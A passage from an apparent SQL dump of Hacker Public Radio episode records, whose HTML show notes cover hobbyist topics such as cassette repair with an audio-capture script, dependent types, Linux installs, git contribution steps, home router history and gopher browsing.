been stored in or transmitted by\na computer system in scrambled form.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/LastPass\">wikipedia:</a>\nLastPass is a password manager distributed in subscription form as well\nas a freemium model with limited functionality.</p></li>\n<li><p><a\nhref=\"https://www.cnet.com/tech/services-and-software/lastpass-owner-goto-says-hackers-stole-customer-data-backups/\">cnet:</a>\nLastPass Owner GoTo Says Hackers Stole Customer Data Backups.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Zip_drive\">wikipedia:</a>\nThe Zip drive is a removable floppy disk storage system that was\nintroduced by Iomega in late 1994.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Lotus_1-2-3\">wikipedia:</a> Lotus\n1-2-3 is a discontinued spreadsheet program from Lotus Software (later\npart of IBM).</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Office_Space\">wikipedia:</a> Office\nSpace is a 1999 American black comedy film written and directed by Mike\nJudge.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Encryption\">wikipedia:</a>\nIn cryptography, encryption is the process of encoding\ninformation.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Tar_(computing)\">wikipedia:</a> In\ncomputing, tar is a computer software utility for collecting many files\ninto one archive file, often referred to as a tarball, for distribution\nor backup purposes.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Quantum_computing\">wikipedia:</a> A\nquantum computer is a computer that exploits quantum mechanical\nphenomena.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Final_Destination\">wikipedia:</a>\nFinal Destination is an American horror franchise that includes five\nfilms, two comic books, and nine novels.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Buddhism\">wikipedia:</a>\nBuddhism.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Conquian\">wikipedia:</a>\nConquian, Coon Can or Colonel (the two-handed version) is a rummy-style\ncard game.</p></li>\n<li><p><a\nhref=\"https://linuxfestnorthwest.org/conferences/2022\">linuxfestnorthwest:</a>\nLinuxFest Northwest 2022 has concluded.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Lead_shielding\">wikipedia:</a> Lead\nshielding refers to the use of lead as a form of radiation protection to\nshield people or objects from radiation so as to reduce the effective\ndose.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Hulk\">wikipedia:</a> The\nHulk is a superhero appearing in American comic books published by\nMarvel Comics.</p></li>\n<li><p><a href=\"https://www.jeffgeerling.com/\">jeffgeerling:</a> I\'m\ngeerlingguy most places online. I\'m an author and software developer\nfrom St. Louis, MO.</p>\n<ul>\n<li><a\nhref=\"https://www.jeffgeerling.com/blog/2018/colons-semicolons-and-crohns-surgery-oh-my\">jeffgeerling:</a>\nColons, semicolons, and Crohns surgery, oh my!</li>\n</ul></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Colon_cancer_staging\">wikipedia:</a>\nColon cancer staging.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Colonoscopy\">wikipedia:</a>\nColonoscopy.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Smartwatch\">wikipedia:</a>\nA smartwatch is a wearable computer in the form of a watch; modern\nsmartwatches provide a local touchscreen interface for daily use, while\nan associated smartphone app provides management and telemetry, such as\nlong-term biomonitoring.</p></li>\n<li><p><a\nhref=\"https://www.hipaajournal.com/judge-denies-injunction-banning-meta-from-collecting-patient-data-via-meta-pixel-code/\">hipaajournal:</a>\nJudge Denies Injunction Banning Meta from Collecting Patient Data via\nMeta Pixel Code.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Raspberry_Pi\">wikipedia:</a>\nRaspberry Pi.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Arduino\">wikipedia:</a>\nArduino.</p></li>\n<li><p><a href=\"https://wiki.odroid.com/odroid-c2/odroid-c2\">odroid:</a>\nODROID-C2.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Google_Hangouts\">wikipedia:</a>\nGoogle Hangouts is a discontinued cross-platform instant messaging\nservice developed by Google.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Mainframe_computer\">wikipedia:</a>\nMainframe computer</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Ncurses\">wikipedia:</a>\nncurses.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/IBM_3270\">wikipedia:</a>\nThe IBM 3270 is a family of block oriented display and printer computer\nterminals introduced by IBM in 1971 and normally used to communicate\nwith IBM mainframes.</p></li>\n<li><p><a\nhref=\"https://www.ibm.com/docs/en/zos/2.3.0?topic=configuration-defining-pcomm-tn3270e-session\">ibm:</a>\na PCOMM TN3270E.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Command-line_interface\">wikipedia:</a>\nCommand-line interface.</p></li>\n<li><p><a\nhref=\"https://www.redhat.com/sysadmin/linux-find-command\">redhat:</a> 10\nways to use the Linux find command.</p></li>\n<li><p><a href=\"https://github.com/words/moby#readme\">github:</a>\nWelcome to moby-thesaurus.org, a free and open-source website designed\nto facilitate meanderings through the Moby Thesaurus, the largest\nthesaurus in the English language.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Software_as_a_service\">wikipedia:</a>\nSoftware as a service.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/C%2B%2B\">wikipedia:</a>\nC++ (pronounced \"C plus plus\") is a high-level general-purpose\nprogramming language created by Danish computer scientist Bjarne\nStroustrup as an extension of the C programming language, or \"C with\nClasses\".</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Deb_(file_format)\">wikipedia:</a>\ndeb is the format, as well as extension of the software package format\nfor the Debian Linux distribution and its derivatives.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Dpkg\">wikipedia:</a> dpkg\nis the software at the base of the package management system in the free\noperating system Debian and its numerous derivatives.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/K3b\">wikipedia:</a> K3b\n(from KDE Burn Baby Burn) is a CD, DVD and Blu-ray authoring application\nby KDE for Unix-like computer operating systems.</p></li>\n<li><p><a\nhref=\"https://www.nero.com/eng/products/nero-burning-rom/?vlang=us\">nero:</a>\nNero Burning ROM: Rip, copy, burn and protect data.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Feature_creep\">wikipedia:</a>\nFeature creep.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Digital_single-lens_reflex_camera\">wikipedia:</a>\nA digital single-lens reflex camera (digital SLR or DSLR) is a digital\ncamera that combines the optics and the mechanisms of a single-lens\nreflex camera with a digital imaging sensor.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Mirrorless_camera\">wikipedia:</a> A\nmirrorless camera is a photo camera featuring a single, removable lens\nand a digital display.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Darkroom\">wikipedia:</a>\nDarkroom.</p></li>\n<li><p><a\nhref=\"https://help.corel.com/aftershot/v3/main/en/documentation/index.html#page/AfterShot-3/what-is-aftershot.html\">corel:</a>\nWhat is Corel AfterShot Pro?</p></li>\n<li><p><a href=\"https://www.darktable.org/\">darktable:</a> darktable is\nan open source photography workflow application and raw\ndeveloper.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Pentax_K1000\">wikipedia:</a> Pentax\nK1000.</p></li>\n<li><p><a\nhref=\"https://hackerpublicradio.org/eps.php?id=3751\">hackerpublicradio:</a>\nNoisetorch is a program for Linux that creates a virtual microphone that\nremoves background sounds.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Noise_gate\">wikipedia:</a>\nNoise gate.</p></li>\n<li><p><a href=\"https://www.proxmox.com/en/\">proxmox:</a> Proxmox\nVirtual Environment.</p></li>\n<li><p><a href=\"https://jellyfin.org/\">jellyfin:</a> Jellyfin is the\nvolunteer-built media solution that puts you in control of your\nmedia.</p></li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(4066,'2024-03-04','HPR Community News for February 2024',0,'HPR Volunteers talk about shows released and comments posted in February 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3794,'2023-02-16','Retro Karaoke machine restored',491,'I fix the cassette tape mechanism to a resale shop karaoke machine','<p>ENTEX Electronics Electronic Singing Machine.<br />\nKaraoke Model No. 1820. Entex Electronics Inc. Made in Taiwan. Late\n1970s early 1980s.<br />\nIt incorporates an 8-Track Player and Cassette Tape Recorder.<br />\nIt also uses the Bucket Brigade Device Echo (BBD ECHO) Power is supplied\nby<br />\nAC 120 Volts. It also uses 10 D cell batteries, or alternatively 12-15\nvolts DC.</p>\n<p><a\nhref=\"https://www.worthpoint.com/worthopedia/entex-electronics-electronic-singing-41033720\"\ntitle=\"ENTEX Electronics Electronic Singing Machine on Worthpoint.com\">ENTEX\nElectronics Electronic Singing Machine</a></p>\n<p><a href=\"https://archive.org/search?query=entex+handheld+games\"\ntitle=\"Entex Electronics Handheld Games on the Internet Archive\">Entex\nElectronics Handheld Games on the Internet Archive</a></p>\n<p><br />\n<em><em>Belts</em></em></p>\n<p><a href=\"https://www.amazon.com/gp/product/B01CZSU6K8\"\ntitle=\"Square Cassette Tape Machine Recorder Rubber Belt\">Square\nCassette Tape Machine Recorder Rubber Belt</a></p>\n<p><a href=\"https://www.amazon.com/gp/product/B08QVS3D8K\"\ntitle=\"Cassette Recorder Repair Maintenance Mix Flat Cassette Tape Machine Rubber Belts (Width 4MM)\">Cassette\nRecorder Repair Maintenance Mix Flat Cassette Tape Machine Rubber Belts\n(Width 4MM)</a></p>\n<p><br />\n<em><em>USB Soundcard</em></em></p>\n<p>48KHz/44.1KHz sampling rate with 16-Bit Resolution.</p>\n<p><a href=\"https://www.amazon.com/dp/B00XM883BK\"\ntitle=\"SABRENT Aluminum USB External Stereo Sound Adapter\">SABRENT\nAluminum USB External Stereo Sound Adapter</a></p>\n<p><br />\n<em><em>Free Music Archive</em></em></p>\n<p><a\nhref=\"https://freemusicarchive.org/music/modern-monster/we-are-modern-monster/cyborg-lost\"\ntitle=\"Cyborg, Lost by Modern Monster on the Free Music Archive\">Cyborg,\nLost by Modern Monster</a></p>\n<p><br />\n<em><em>Pictures</em></em><br />\n<small><small>The images are thumbnails. Click on each to see the\nfull-sized picture.</small></small></p>\n<p><strong>8 Track side</strong><br />\n<a href=\"http://hackerpublicradio.org/eps/hpr3794/IMG_8-track_side.jpg\"\ntitle=\"8 Track side\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_8-track_side_tn.jpg\"\ntitle=\"8 Track side\" alt=\"8 Track side\" /></a></p>\n<p><strong>Cassette tape side</strong><br />\n<a href=\"http://hackerpublicradio.org/eps/hpr3794/IMG_cassette_side.jpg\"\ntitle=\"Cassette tape side\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_cassette_side_tn.jpg\"\ntitle=\"Cassette tape side\" alt=\"Cassette tape side\" /></a></p>\n<p><strong>Initial condition of the cassette player</strong><br />\n<a\nhref=\"http://hackerpublicradio.org/eps/hpr3794/IMG_initial_condition.jpg\"\ntitle=\"Initial condition of the cassette player\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_initial_condition_tn.jpg\"\ntitle=\"Initial condition of the cassette player\"\nalt=\"Initial condition of the cassette player\" /></a></p>\n<p><strong>Back of the player</strong><br />\n<a\nhref=\"http://hackerpublicradio.org/eps/hpr3794/IMG_inside_from_back.jpg\"\ntitle=\"Back of the player\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_inside_from_back_tn.jpg\"\ntitle=\"Back of the player\" alt=\"Back of the player\" /></a></p>\n<p><strong>Player with the cassette cover removed</strong><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3794/IMG_outside_with_tools.jpg\"\ntitle=\"Player with the cassette cover removed\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_outside_with_tools_tn.jpg\"\ntitle=\"Player with the cassette cover removed\"\nalt=\"Player with the cassette cover removed\" /></a></p>\n<p><strong>Connecting rod for the cassette player</strong><br />\n<a\nhref=\"http://hackerpublicradio.org/eps/hpr3794/IMG_connecting_rod.jpg\"\ntitle=\"Connecting rod for the cassette player\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_connecting_rod_tn.jpg\"\ntitle=\"Connecting rod for the cassette player\"\nalt=\"Connecting rod for the cassette player\" /></a></p>\n<p><strong>Cassette pulley system</strong><br />\n<a href=\"http://hackerpublicradio.org/eps/hpr3794/IMG_pulley_system.jpg\"\ntitle=\"Cassette pulley system\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_pulley_system_tn.jpg\"\ntitle=\"Cassette pulley system\" alt=\"Cassette pulley system\" /></a></p>\n<p><strong>Line out</strong><br />\n<a href=\"http://hackerpublicradio.org/eps/hpr3794/IMG_line_out.jpg\"\ntitle=\"Line out\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_line_out_tn.jpg\"\ntitle=\"Line out\" alt=\"Line out\" /></a></p>\n<p><em><em>Analog audio capture</em></em></p>\n<pre><code>arecord -L\n - Find device to use\n - This works for finding the microphone input or the USB external sound card\n\nSoundcard\nsysdefault:CARD=Device\n    USB Audio Device, USB Audio\n    Default Audio Device</code></pre>\n<p><em><em>captureTheFlac.sh</em></em></p>\n<pre><code>file=dump&#39;_&#39;$(date +%F_%H-%M-%S)&#39;_Sabrent_soundcard_in&#39;.flac\n\narecord --device=&#39;sysdefault:CARD=Device&#39; --rate=96000 --channels=2 --vumeter=stereo\nsysdefault:CARD=Device --duration=300 --format=dat --file-type wav - | flac - -o $file</code></pre>\n',318,0,0,'CC-BY-SA','retro, karaoke, 8-track, cassette tape, Free Music Archive',0,0,1),
(3796,'2023-02-20','Dependent Types',508,'A quick taste of programming with dependent types','<p>I discuss dependent types, which are types that can contain non-type\nprograms. An example of a dependent type is a list whose type contains\nits length. Instead of just writing <code>List&lt;String&gt;</code> for\na list that contains strings, dependent types include types like\n<code>List&lt;String, 5&gt;</code> that describe lists of exactly five\nstrings. Dependent types can also be used to represent mathematics, in\nwhich case the programs that they describe count as proofs, and tools\nfrom programming can be used to write math.</p>\n<p>Dependent types used to be something that really required a research\nbackground, but there has been a lot of progress on making them more\nuser-friendly and on writing accessible introductions lately.</p>\n<p>Languages mentioned:</p>\n<ul>\n<li><a href=\"https://www.idris-lang.org/\">Idris</a> is a self-hosted\ndependently typed language with type-level resource tracking</li>\n<li><a href=\"https://wiki.portal.chalmers.se/agda/pmwiki.php\">Agda</a>\nis a testbed for new ideas in dependently typed programming</li>\n<li><a href=\"https://leanprover.github.io/\">Lean 4</a> is a self-hosted\ndependently typed language that has a more conservative logical core\nthan Idris or Agda, and attempts to appeal more to practicing\nmathematicians.</li>\n<li><a href=\"https://coq.inria.fr/\">Coq</a> is a proof assistant based\non dependent types that has been used to fully mathematically verify a C\ncompiler</li>\n</ul>\n<p>Books mentioned:</p>\n<ul>\n<li><a href=\"https://thelittletyper.com/\">The Little Typer</a>, by\nDaniel P. Friedman and David Thrane Christiansen is an intro to the core\nideas of dependent types, in dialog form</li>\n<li><a\nhref=\"https://www.manning.com/books/type-driven-development-with-idris\">Type\nDriven Development with Idris</a> by Edwin Brady, the creator of Idris,\ndescribes an approach to programming that uses expressive types as a way\nto make programmers\' lives easier</li>\n<li><a href=\"https://plfa.github.io/\">Programming Language Foundations\nin Agda</a> by Phil Wadler, Wen Kokke, and Jeremy Siek describes the use\nof Agda for both programming and proving</li>\n<li><a href=\"https://softwarefoundations.cis.upenn.edu/\">Software\nFoundations</a> is a series of books that use Coq as an introduction to\nmathematically rigorous software development in a proof assistant. It\'s\nhow I initially learned these topics!</li>\n</ul>\n',418,0,0,'CC-BY-SA','types, math, programming languages, functional programming',0,0,1),
(3798,'2023-02-22','Laptop Second SSD MXLinux Install',749,'Overcoming UEFI and Windows 10 to Install MXLinux 21.3 on a 2021 Asus Laptop 2nd SSD drive','<p>I forgot to mention the power consumption was very good, seemingly\r\nbetter than windows 10. That\'s a big bonus.</p>\r\n<p>On the website it said that the XFCE AHS release is not out yet. It\r\nwould probably work better on my device.</p>\r\n<p><a href=\"https://distrowatch.com/table.php?distribution=mx\"\r\nclass=\"uri\">https://distrowatch.com/table.php?distribution=mx</a></p>\r\n<p><em>Screenshot 2023-02-14 15:50:31</em><br />\r\n<a\r\nhref=\"https://hackerpublicradio.org/eps/hpr3798/Screenshot_2023-02-14_15-50-31_-_Copy.png\"><img\r\nsrc=\"https://hackerpublicradio.org/eps/hpr3798/Screenshot_2023-02-14_15-50-31_-_Copy_thumbnail.png\"\r\nalt=\"Screenshot 2023-02-14 15:50:31\" /></a> <br/><small><small><em>Click\r\nthe thumbnail to see the full-sized image</em></small></small></p>\r\n\r\n<small>Edit: Ken Original summary was \"Overcoming fucking UEFI and Windows 10 to Install MXLinux 21.3 on a 2021 Asus Laptop 2nd SSD drive\" - as per <a href=\"https://hackerpublicradio.org/stuff_you_need_to_know.php#not_moderated\">policy</a></small>\r\n',401,57,1,'CC-BY-SA','distrohopping,distros,linux,GNU,MXLinux',0,0,1),
(3797,'2023-02-21','How to submit changes to HPR',1895,'rho_n shows Ken how to submit changes to the new HPR static site.','<p>\nHPR is switching to a static site and in today\'s show <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\">Rho`n</a> explains to <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken</a> how to submit changes to the code.\n</p>\n<pre>\n<code>\n[user@pc fix]$ git clone gitea@repo.anhonesthost.net:rho_n/hpr_generator.git\n[user@pc fix]$ cd hpr_generator/\n[user@pc hpr_generator]$ git status\n[user@pc hpr_generator]$ git checkout -b I70_Fix_links_to_audio\n</code>\n</pre>\n<p>\nEdit the files. Once complete:</p>\n<pre>\n<code>\n[user@pc hpr_generator]$ git add file/to/commit\n[user@pc hpr_generator]$ git commit\n[user@pc hpr_generator]$ git push origin I70_Fix_links_to_audio\n</code>\n</pre>\n<p>\nYou can now login to the <a href=\"https://repo.anhonesthost.net/rho_n/hpr_generator\">rho_n/hpr_generator</a> git repo and you should be able to see several branches.<br />\nNext to your branch you can press <strong>New Pull Request</strong><br />\n<!-- <img src=\"https://hackerpublicradio.org/eps/hpr3797/hpr3797_2.png\" alt=\"The new pull request button\" /><br /> -->\n<img src=\"https://archive.org/download/hpr3797/hpr3797/hpr3797_2.png\" alt=\"The new pull request button\" /><br />\nReview your changes and if you\'re happy press the green  <strong>New Pull Request</strong><br />\nFill in the description and a detailed comment <br />\nUse the HPR convention <em>[&lt;issue number&gt;] &lt;brief_description&gt; The brief description is usually based on the title of the issue</em><br />\nWhen <strong>Create Pull Request</strong><br />\n</p>\n\n<p>\n<!-- <a href=\"https://hackerpublicradio.org/eps/hpr3797/\">Full show notes are available</a>. -->\n<a href=\"https://archive.org/download/hpr3797/hpr3797/full_shownotes.html\">Full show notes are available</a>.\n</p>\n',30,0,0,'CC-BY-SA','git,hpr,code,pull request',0,0,1),
(3799,'2023-02-23','My home router history',1921,'Recent router maintenance makes me remember all the fun I\'ve had with my home network router','<h1 id=\"router-history\">Router History</h1>\n<p>Early Dialup</p>\n<ul>\n<li>Connection sharing</li>\n</ul>\n<p>DSL/Cable</p>\n<ul>\n<li>Linux PC with 2 NIC</li>\n<li>Set up IP masquerading</li>\n<li>Windows connection sharing</li>\n<li>This may have been against TOS</li>\n<li>$50 EBay PC</li>\n<li>Mandrake MNF</li>\n</ul>\n<p>Found a PC on the Street</p>\n<ul>\n<li>IPCop</li>\n<li>Infrequently updated</li>\n<li>No updates required or abandoned?</li>\n</ul>\n<p>OpenBSD</p>\n<ul>\n<li>Reputation for Security</li>\n<li>Something New</li>\n<li>Good instructions for setting up home office.</li>\n<li>Manual but straightforward</li>\n</ul>\n<p>WRT-54gl with tomato</p>\n<ul>\n<li>Linksys router sold specifically to run Linux</li>\n<li>Purchased to be AP</li>\n<li>Junk PC hardware failures - PSU or IDE disks</li>\n<li>Frequently used as backup.</li>\n</ul>\n<p>PCEngines Alix</p>\n<ul>\n<li>Basically a PC in a router form factor</li>\n<li>Serial port - NO VGA</li>\n<li>No USB boot - Had to set up PXE boot tftp server.</li>\n<li>Install OpenBSD</li>\n<li>No Video out - Serial port only</li>\n<li>Expensive for specs - 500MHz AMD CPU and 256M Ram</li>\n</ul>\n<p>Alix Limitations</p>\n<ul>\n<li>Worked great for a few years</li>\n<li>Compact Flash limited replacements.</li>\n<li>100M Ethernet</li>\n<li>Found Spare on EBay as Backup, just in case.</li>\n</ul>\n<p>PCEngines APU2</p>\n<ul>\n<li>Serial only</li>\n<li>OpenBSD 5.6 via USB drive</li>\n<li>3 NIC - Lan, Trusted, Untrusted</li>\n<li>Unifi AP for WiFi</li>\n</ul>\n<p>First playbook</p>\n<ul>\n<li>Missing some easy management\n<ul>\n<li>Local DNS</li>\n<li>DHCP Reservations</li>\n</ul></li>\n<li><a\nhref=\"http://hackerpublicradio.org/eps.php?id=3187\">http://hackerpublicradio.org/eps.php?id=3187</a>\n<ul>\n<li>CSV file with IP,MAC, Hostname</li>\n<li>DHCP reservation and local DNS</li>\n</ul></li>\n</ul>\n<p>Restricting Internet</p>\n<ul>\n<li>Open DNS and port redirects</li>\n<li>Unbound included on OpenBSD base\n<ul>\n<li>Caching DNS resolver</li>\n<li>Forward to Open DNS - Set to do some content filtering</li>\n<li>PF rule to redirect all incoming port 53 to unbound</li>\n</ul></li>\n<li>PF scripts\n<ul>\n<li>PF table with IP addresses of devices</li>\n<li>Table always blocked</li>\n<li>cron jobs to add/remove IP addresses to table</li>\n</ul></li>\n</ul>\n<p>APU2 limitations</p>\n<ul>\n<li>Installer Recommends Auto partitioning\n<ul>\n<li>Doesn\'t know how you plan to use OpenBSD</li>\n<li>Doesn\'t know the future plans for project.</li>\n</ul></li>\n<li>16G msata drive</li>\n<li>Small /usr</li>\n<li>Re-linking growth</li>\n<li>Moving src partitions</li>\n</ul>\n<p>PCEngines APU2</p>\n<ul>\n<li>Search /etc for changes</li>\n<li>Ansible Playbook for everything not covered by DNS/DHCP playbook\n<ul>\n<li>email forwarding</li>\n<li>sysctls</li>\n<li>syslog to server</li>\n</ul></li>\n<li>Practice on OpenBSD VM\n<ul>\n<li>198.168 172.20 as variable</li>\n<li>Normally with VM, I use the VirtIO NIC</li>\n<li>I used vitalized Intel NIC so same device names: em0, em1, ...</li>\n</ul></li>\n</ul>\n<p>Just Do It</p>\n<ul>\n<li>Update APU firmware - TODO retails\n<ul>\n<li>/usr/local/share/doc/pkg-readmes/flashrom</li>\n</ul></li>\n<li>Warned family internet would be offline a few hours</li>\n<li>Replaced M2 Sata card with 120</li>\n<li>It worked the first time</li>\n</ul>\n<p>Links</p>\n<ul>\n<li><a\nhref=\"https://www.ipcop.org/index_php.html\">https://www.ipcop.org/index_php.html</a></li>\n<li><a\nhref=\"https://www.pcengines.ch/alix2d3.htm\">https://www.pcengines.ch/alix2d3.htm</a></li>\n<li><a\nhref=\"https://pcengines.ch/apu2.htm\">https://pcengines.ch/apu2.htm</a></li>\n<li><a\nhref=\"https://pcengines.ch/howto.htm#OS_installation\">https://pcengines.ch/howto.htm#OS_installation</a></li>\n<li><a\nhref=\"https://www.openbsd.org/faq/pf/example1.html\">https://www.openbsd.org/faq/pf/example1.html</a></li>\n</ul>\n',342,0,0,'CC-BY-SA','openbsd, ansible, router',0,0,1),
(3802,'2023-02-28','Attack of the Squishmallow',5809,'Rho`n records replacing the screen to a MacBook Pro','<h1>Synopsis</h1>\n\n<p>In this episode, Rho`n records his attempt to replace a broken MacBook Pro display. Content warning: May cause drowsiness&mdash;do not listen while driving or operating heavy machinery. On the other hand, it may be conducive to a good nap in which you drift off to sleep while listening to the introduction and wake up in time to hear how things turn out in the end.</p>\n\n<p>Production notes: The \"truncate silence\" audio effect in your audio editor is your friend. The original recording length was around 2 hrs and 15 minutes. After truncating the silence it was down to 1 hour and 36 minutes.</p>\n\n<style>\ndiv#figures {\n	display: flex;\n	flex-direction: row;\n	flex-wrap: wrap;\n	justify-content: center;\n}\ndiv#figures figure { text-align: center; width: 300px;\n    box-shadow:\n      0 1px 1px hsl(0deg 0% 0% / 0.075),\n      0 2px 2px hsl(0deg 0% 0% / 0.075),\n      0 4px 4px hsl(0deg 0% 0% / 0.075),\n      0 8px 8px hsl(0deg 0% 0% / 0.075),\n      0 16px 16px hsl(0deg 0% 0% / 0.075) }\ndiv#figures figcaption { max-width: 25vw; text-align: left; padding: 0 0.5em 0.5em 0.5em }\ndiv#figures img { max-width: 50vw; margin-bottom: 0.5em;\n    box-shadow:\n      0 1px 1px hsl(0deg 0% 0% / 0.075),\n      0 2px 2px hsl(0deg 0% 0% / 0.075),\n      0 4px 4px hsl(0deg 0% 0% / 0.075),\n      0 8px 8px hsl(0deg 0% 0% / 0.075),\n      0 16px 16px hsl(0deg 0% 0% / 0.075)}\n</style>\n<div id=\"figures\">\n<figure>\n	<a href=\"http://www.hackerpublicradio.org/eps/hpr3802/image01-lg.jpg\"><img src=\"http://www.hackerpublicradio.org/eps/hpr3802/image01-sm.jpg\"\n       alt=\"Laptop in the work area\"></a>\n	<br>\n    <figcaption>The MacBook Pro with the broken display removed.\n	To the left are they small plastic cups containg the screws\n	and other small parts that were removed for dissembly.\n	<br></figcaption>\n</figure>\n<figure>\n    <a href=\"http://www.hackerpublicradio.org/eps/hpr3802/image02-lg.jpg\"><img src=\"http://www.hackerpublicradio.org/eps/hpr3802/image02-sm.jpg\"\n	   alt=\"New display\"></a>\n	<br>\n    <figcaption>The new laptop display not completely removed from its packaging.<br></figcaption>\n</figure>\n<figure>\n	<a href=\"http://www.hackerpublicradio.org/eps/hpr3802/image03-lg.jpg\"><img src=\"http://www.hackerpublicradio.org/eps/hpr3802/image03-sm.jpg\"\n         alt=\"Repaired Laptop\"></a>\n	<br>\n    <figcaption>The repaired laptop booted to its login screen<br></figcaption>\n</figure>\n</div>\n\n<h1>References</h1>\n<ul>\n	<li><a href=\"https://en.wikipedia.org/wiki/Squishmallows\">Squishmallows</a></li>\n	<li><a href=\"https://www.ifixit.com/Guide/MacBook+Pro+13-Inch+Function+Keys+2017+Display+Assembly+Replacement/117328\">iFixIt: MacBook Pro 13\" Function Keys 2017 Display Assembly Replacement</a></li>\n</ul>\n\n<h1>Attribution</h1>\n\n<p>The transition sound used between audio clips is found on <a href=\"https://freesound.org/\">freesound.org</a>:\n<br>Name: <a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Harp Transition Music Cue</a>\n<br>Author: <a href=\"https://freesound.org/people/DanJFilms/\">DanJFilms</a>\n<br>License: <a href=\"http://creativecommons.org/publicdomain/zero/1.0/\">Creative Commons Zero</a></p>\n\n',293,0,0,'CC-BY-SA','DIY, Macbook, Macbook Pro, pc repair, repair',0,0,1),
(3801,'2023-02-27','Enter the gopher',822,'Participating in the gopher internet protocol','<p>If you would like to talk about gopher on Mastodon, I\'m\n<code>@screwtape@mastodon.sdf.org</code> (and I have a weekly aNONradio\nshow about gopher)</p>\n<ul>\n<li><p>floodgap link<br />\n<a href=\"https://gopher.floodgap.com\"\nclass=\"uri\">https://gopher.floodgap.com</a></p></li>\n<li><p>Web proxy to menu with ascii art<br />\n<a\nhref=\"https://gopher.floodgap.com/gopher/gw.lite?=gopher.club+70+312f75736572732f78696c65642f\"\nclass=\"uri\">https://gopher.floodgap.com/gopher/gw.lite?=gopher.club+70+312f75736572732f78696c65642f</a></p></li>\n<li><p>Get on a tilde:<br />\n<a href=\"https://sdf.org\" class=\"uri\">https://sdf.org</a><br />\n<a href=\"https://tildeverse.org\"\nclass=\"uri\">https://tildeverse.org</a></p></li>\n</ul>\n<pre><code>    $ ssh username@tty.sdf.org # Following sdf.org &#39;s instructions\n    $ # Some good gophers to browse\n    $ lynx gopher://gopher.club\n    $ lynx gopher://tildeverse.org\n    $ lynx gopher://floodgap.com</code></pre>\n<ul>\n<li><p>You might have to<br />\n<code>apt install lynx</code><br />\nor<br />\n<code>pkg_add lynx</code><br />\nor etc.</p></li>\n<li><p>sdf.org:<br />\n<code>$ mkgopher</code><br />\n<a href=\"https://phlogosphere.org\"\nclass=\"uri\">https://phlogosphere.org</a> or</p></li>\n<li><p>tilde.institute tilde (for example):<br />\n<code>$ man burrow # how to use burrow</code><br />\n<a href=\"https://wiki.tilde.institute/w/gopher\"\nclass=\"uri\">https://wiki.tilde.institute/w/gopher</a></p></li>\n<li><p>Gopher standard!<br />\n<a href=\"https://rfc-editor.org/info/rfc1436\"\nclass=\"uri\">https://rfc-editor.org/info/rfc1436</a><br />\nMastodon: <code>@albatross@sdf.org</code></p></li>\n<li><p>elpher-mode<br />\n<a href=\"https://elpa.nongnu.org/nongnu/doc/elpher.html\"\nclass=\"uri\">https://elpa.nongnu.org/nongnu/doc/elpher.html</a><br />\n<a href=\"https://mastodon.sdf.org/@screwtape/109334057925655327\"\nclass=\"uri\">https://mastodon.sdf.org/@screwtape/109334057925655327</a></p></li>\n<li><p>phetch<br />\n<a href=\"https://github.com/xvxx/phetch\"\nclass=\"uri\">https://github.com/xvxx/phetch</a></p></li>\n<li><p>overbite<br />\n<a href=\"https://gopher.floodgap.com/overbite/\"\nclass=\"uri\">https://gopher.floodgap.com/overbite/</a></p></li>\n<li><p>proxy to 